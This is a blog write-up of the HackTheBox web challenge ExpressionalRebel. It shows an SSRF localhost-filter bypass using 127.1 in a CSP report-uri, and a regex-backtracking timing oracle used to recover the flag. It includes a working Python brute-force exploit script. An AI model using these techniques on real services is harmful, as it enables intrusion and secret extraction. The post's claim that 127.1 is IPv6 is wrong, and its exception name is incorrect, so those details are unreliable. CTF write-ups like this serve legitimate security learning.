HTB: ExpressionalRebel
Audun Mo
Posted on April 21, 2022
ExpressionalRebel is a web challenge on HackTheBox
It's quite an interesting one, because you'll have to combine several different faults in the application to solve it
If you're stuck
If you're stuck and are looking for help, here are a few vague tips that might point you in the right direction, before spoiling yourself with this writeup.
For the IP-check:
- Look at the handling of
report-uri
. Are there other ways can you write localhost/127.0.0.1?
For getting the flag
- Check the expected type of the first parameter to regExp.match
Getting started
ExpressionalRebel contains a node-express app that evaluates CSP
Looking at the code, the first thing I did was just grep
for the input for the flag
. This reveals that there isn't really one point where the app will output the flag. However, there's a call that compares an input to the flag
router.get('/deactivate',isLocal, async (req, res) => {
const { secretCode } = req.query;
if (secretCode){
const success = await validateSecret(secretCode);
res.render('deactivate', {secretCode, success});
} else {
res.render('deactivate', {secretCode});
}
});
So this is the closest we can get to the flag. I noticed that the route is protected with the isLocal
method, which checks if the caller is itself, so this can only be called from itself.
So, first step is to get to call this endpoint
Calling the endpoint
Playing around with the app, I noticed that the report-uri
could be used to call any endpoint I want. This is really fun, because this could be used to defeat the isLocal
check on deactivate. However, passing localhost
or 127.0.0.1
doesn't work. This stumped me for a long long time.
The localhost filtering on the URLs for report-uri
is like this
const isLocalhost = async (url) => {
let blacklist = [
"localhost",
"127.0.0.1",
];
let hostname = parse(url).hostname;
return blacklist.includes(hostname);
};
Staring at it for ages, it finally struck me. There's an IPv6 version of 127.0.0.1! 127.1! So, passing in report-uri http://127.1/deactivate
worked! Or... At least it didn't return the same error as before
So what's happening here is that while the CSP check performs the GET request to /deactivate, it doesn't forward the response. So we don't get to see directly what's going on
Inspecting the code, we can see that it also expects a secretCode
query param.
The plot thickens.
Looking at the code for deactivate, we can see that it takes the secretCode
query param and forwards it to verifySecret
.
const validateSecret = async (secret) => {
try {
const match = await regExp.match(secret, env.FLAG)
return !!match;
} catch (error) {
return false;
}
}
regExp
is from the npm package time-limited-regular-expressions
From the definition of .match
you can see that it expects a regex as its first parameter. But... That's the one from the user, right? So we can mess with it! Passing the right regex will reveal information about the flag!
But how will we know? We can't get the response damnit...
Or can we?
Exploiting backtracking in regex
At first, it was a bit confusing why they used this time-limited regex things, but this is actually a hint from the author of the challenge.
As it turns out, you can make regexes that take a loooong time to compute. Like several minutes or hours long. So, with a specially constructed regex, we can get some information out
First, we know that the structure of the flag is HTB{\.+}
. We also know that regexes have a logical OR, <patter>|<pattern>
, and that a left-side match would mean that the right side doesn't get checked. So, what if we constructed a regex like HTB{\w+}|...some sloooooow regex...
. If we timed the responses, we could probably figure out which one is getting used!
After trial and error, I landed on this as a succifiently slow right-side of the regex: (?:[^<]+|<(?:[^\/]|\/(?:[^s]))). The key here is that this is doing a bunch of nested look-ahead statements, looking for missing matches. This expensive because it causes backtracking through the string many many times. You can read more about backtracking here
Now, using HTB{\w+}
as the left side is only useful to verify our hypothesis. We'd expect HTB{\w+}
to resolve really quick, and HTB{\d}
to resolve really slow. And 🥁🥁🥁... It works!
Putting it all together
So what have we learned so far
- We know that passing http://127.1/deactivate as the
report-uri
part of the CSP bypasses the localhost checks on both endpoints - We know that deactivate expects a query param called secretCode, which can be a regex.
- We know that with crafting special regexes we can reveal if a given regex matches the flag or not by timing the responses
Assembling this information, we know that we want to incur the server to call itself on 127.1/deactivate with a secretCode that's a regex that exactly matches the flag. Since we can tell a hit from a miss with timing, we can brute-force this!
First request would have secretCode:
HTB{a\.+}|(?:[^<]+|<(?:[^\/]|\/(?:[^s])))
Then:
HTB{b\.+}|(?:[^<]+|<(?:[^\/]|\/(?:[^s])))
Then:
HTB{c\.+}|(?:[^<]+|<(?:[^\/]|\/(?:[^s])))
Etc
You can use HTB{\w+}
as a benchmark of how quickly a "good" response resolves. I set the timeout to 0.5s, and then ran the following exploit.py
file
import requests, re, urllib.parse
eval_endpoint = "http://<YOUR_INDSTANCE_AND_PORT>/api/evaluate"
deactivate_endpoint = "http://127.1:1337/deactivate"
def brute_force_flag():
alphabet = map(re.escape, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789[]{}/\!@#$%^&*()_+=-<>?")
# The end here is just a hard-to-compute regex. If the request takes lnger than ~100ms, this means that the right
# hand side of this regex is being evaluated, and that means that the left side didn't match.
regex = ".+|(?:[^<]+|<(?:[^\/]|\/(?:[^s])))*>(?:[^<]+|<(?:[^/]|\/(?:[^s]))*)"
current_guess = "HTB{"
while current_guess[::-1][0] != "}":
for char in alphabet:
# Concat the current best guess, with the chracter to test, and add the rest of the regex
guess = current_guess + char + regex
# Gotta make the secretCode URL safe
u = deactivate_endpoint + "?secretCode=" + urllib.parse.quote(guess)
data = {
"csp": "report-uri " + u + ";"
}
try:
res = requests.post(eval_endpoint, timeout=0.5, data=data)
except requests.TimeoutException as e:
# If the request timed out, we missed, so skip to next
continue
current_guess = current_guess + char
print(current_guess)
print("final guess was " + current_guess)
if __name__ == "__main__":
brute_force_flag()
After a few minutes of chugging along, it printed me a nice, friendly, flag 🎉
Posted on April 21, 2022
Join Our Newsletter. No Spam, Only the good stuff.
Sign up to receive the latest update from our blog.
Related
November 30, 2024